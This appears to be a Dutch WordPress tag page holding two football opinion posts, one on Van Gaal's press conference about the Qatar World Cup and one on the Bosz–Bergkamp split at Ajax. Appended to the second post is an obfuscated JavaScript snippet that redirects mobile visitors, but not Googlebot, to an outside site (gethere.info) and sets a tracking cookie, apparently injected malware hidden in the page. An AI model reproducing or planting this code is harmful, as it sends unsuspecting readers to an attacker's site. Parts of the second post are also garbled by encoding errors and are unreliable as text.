Feeds:
Berichten
Reacties

Posts Tagged ‘journalisten’

Wat was het allemaal vermakelijk, de one-manshow van Louis III! Wat zijn we allemaal blij dat we verlost zijn van de vlakke, hakkelende Frank de Boer. Wat kunnen we ons verkneukelen over Louis’ kapittelen van anderen en wat hopen we dat ‘s mans toorn niet onszelf treft. Dus niet te kritisch, niet de discussie aangaan en gevoelige onderwerpen mijden als de pest.

Mijn Twitter-timeline stroomde vol met juichende commentaren over de glorieuze terugkeer van Louis d’Or. Dus ik ging er uitgesteld maar eens voor zitten om te kijken of er misschien toch een kamikaze-journalist was die de heikele WK Qatar-kwestie aan zou snijden. En jawel, er bleek toch één vermetele vragensteller te zijn, die volgens Louis herhaald – meer precies voor de derde keer – het had gewaagd een bondscoach hierop te bevragen. Om er meteen vangalistisch aan toe te voegen: ‘Denk jij dat ik het niet erg vind wat daar gebeurt?! Natuurlijk vind ik het erg, maar je moet hiervoor niet bij de bondscoach of bij de spelers zijn, maar bij de bonden! En (geparafraseerd), ik heb het natuurlijk nagevraagd bij de KNVB en die lopen zelfs voorop.’ Verder zal Van Gaal goed luisteren naar spelers die een statement willen maken en afhankelijk van de argumentatie en de instemming van de hele selectie zal hij dit al dan niet toestaan.

Tot zover de kwestie Qatar op deze persconferentie, over naar de andere, minder controversiële onderwerpen. Niemand die hem confronteerde met zijn duidelijke stellingname tegen dit WK in 2010. Niemand die hem vroeg of de zo hoog in zijn vaandel staande normen en waarden wel strookten met de gang van zaken in Qatar.

Het moge duidelijk zijn. Het verreweg grootste deel van de vaderlandse (sport)pers is blij met Van Gaal als bondscoach, vooral vanwege diens altijd spraakmakende publieke optreden. Maar tegelijkertijd is men ook zeer beducht voor zijn toorn en scherpe replieken en schuwt men daarom de noodzakelijke kritische benadering. En dat deze klus in technisch opzicht zelfverklaard niet ‘des Van Gaals’ is, nemen we op de koop toe. Want, eveneens zelfverklaard, ‘niemand anders zou dit kunnen’. En ook is Louis ‘blij dat het volk zich achter hem heeft geschaard’, als is niet duidelijk waarop hij dit baseert. Maar bedenk, Louis: een aanzienlijk deel van het volk heeft niks met voetbal en een ander substantieel volksdeel onder voetballiefhebbers zoals ondergetekende moet helemaal niets van jouw WK Qatar-missie hebben.

Er is dus geen enkele reden om zo hoog van de toren te blazen, behalve dat het kennelijk voor velen vermakelijk is. Maar valt dat allemaal niet in het niet bij de uiterst treurige constatering dat deze pedante persconferencier zich willens en wetens heeft verbonden aan een WK dat qua mistoestanden en verwerpelijkheid zijn weerga niet kent?

Read Full Post »

Stel nou dat Dennis Bergkamp met zijn technische hart de architect is van Ajax’ wederopstanding. Dat Peter Bosz, in weerwil van de vrijwel collectieve aanname – weliswaar een prima aannemer en uitvoerder was van het bouwplan, maar ook niet meer dan dat. Zo’n boude veronderstelling is dat niet. De (technische) ontwikkeling van de thans zo geroemde talenten als Dolberg, De Ligt, Younes, Van den Beek, De Jong en Justin Kluivert kun je bezwaarlijk op het conto van A�A�n seizoen Bosz schrijven. De rijping van Klaassen evenmin. Dan nog blijft het natuurlijk heel erg jammer dat hun samenwerking tot een abrupt en onverkwikkelijk einde is gekomen. Het zou wel een geheel ander licht werpen op de kennelijke noodsituatie waarin de tot nog maarA�zA? kort oA�zo euforische ‘Amsterdammers’ zich bevinden. Want dat de paniek onverbiddelijk heeft toegeslagen bij de aanhang van het weer trotse Ajax, lijdt geen twijfel. Hoe kan het zo verkeren?!

obs-mazuroAnders dan vele zelfverklaarde kenners en insiders heb ik geen voorkeur en behoor ik tot geen enkel kamp, Berg noch Bosz. Wat mij hooglijk verbaast, fascineert maar ook irriteert, is de nagenoeg kritiekloze stellingname voor Bosz tegenoverA�de bijnaA�unaniem kritische, zo niet afkeurende houding ten opzichte van Bergkamp. Diens mening en verweer doen er kennelijk niet toe. Nog bedenkelijker is dat het interne gerommel klaarblijkelijk al geruime tijd bestaat, dat het een publiek geheim moet zijn geweest, bekend bij volgers, watchers en insidersA�- waaronder ook niet de minsteA�journalisten – maar dat het om wat voor redenen dan ook onder de pet is gehouden. VanA�clubfunctionarissen en -adepten valt dit te billijken, zelfs te prijzen binnen een club waarvoor het begrip ‘de vijfde colonne’ is uitgevonden. Maar wat heeft de journalist of ‘objectieve’ watcher bezield om het niet naar buiten te brengen? Was men zA? verblind door het succes en de hunkering naar eindelijk weer een internationaal erkend(e) status en prestige?

Minstens zo pikant is de vraag waarom de vermoedelijkeA�frictieA�ineens wel het geruchtencircuit bereikte en wie het lek veroorzaakte toen bekend werd dat Borussia Dortmund op Bosz aasde. Diverse clubwatchers schermden met welingelichte bronnen, wisten zeker dat Bergkamp de kwade genius was en namen het de clubleiding ook kwalijk dat niet hemel en aarde werden bewogen om Bosz te behouden.

– Hou me ten goede: helaas wijlen Johan Cruijff was in vele voetbaltechnische opzichten een ziener, maar zijn adagium dat clubbestuurders per se een prominente voetbalcarriA?re moesten hebben gehad, is een faliekanteA�vergissing. De huidige Ajax-directie is daarvan het levende bewijs; de gA?nantA�stuntelige persco van Van der Sar over deze affaire een getuigenis daarvan – .

bosz-en-bergkamp-xxlHet pijnlijkeA�van dit alles is dat Bosz en Bergkamp beiden Cruijffianen zijn. Dan kun je het ironie noemen dat Cruijff het conflict zag als A�A�n van de cruciale middelen om je doel te bereiken. Maar de een z’n (doel van het) conflict is niet het (doel van het) conflict van de ander. Er is bijna altijd verschil van interpretatie. In de meer eenduidige en minder complexe tijd van Cruijffs carriA?re als voetballer A�n trainer baatte soms dat conflict wellicht, maar in de huidige tijd is het een totaal ongeschikt, zelfs contraproductief gereedschap.

MaarA�waarom zo hevig gezeurd en getreurd? Alsof de wereld is vergaan en er weer een Verlosser is heengegaan. Het zouA�zomaar kunnen zijn dat deze onervaren Ajax-directie toch het onwerkbare van de situatie tijdig heeft (h)erkend. Heeft vastgesteld dat men een lichting met potentie mag koesterenA�en dat ‘slechts’ het blijkbaar vruchtbare beleid moet worden voortgezet met een trainer dieA�de kwaliteiten heeft om dit nog verder uit te bouwen. En waarvoor nu een aardig centje is opgestreken. Dus kop op godenzonen, herwin jullie zelfrespect en -vertrouwen! Tel je zegeningenA�enA�trek Thomas Tuchel aan. Deze zal vast willen bewijzen, zelfs voor minder salaris, dat Dortmund hem onterecht op straat heeft gezet. En waar kan hij dat beter doen dan bij een club waar hij zijn opvolger opvolgt en nog meer kan kneden aan talenten dan bij zijn ex? Dan zien we volgend seizoen in de kwartfinale van de Champions League wel welke van beide clubs spekkoper is geweest.

– de beide hoofdrolspelers komen van nos.nl

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

%d bloggers liken dit: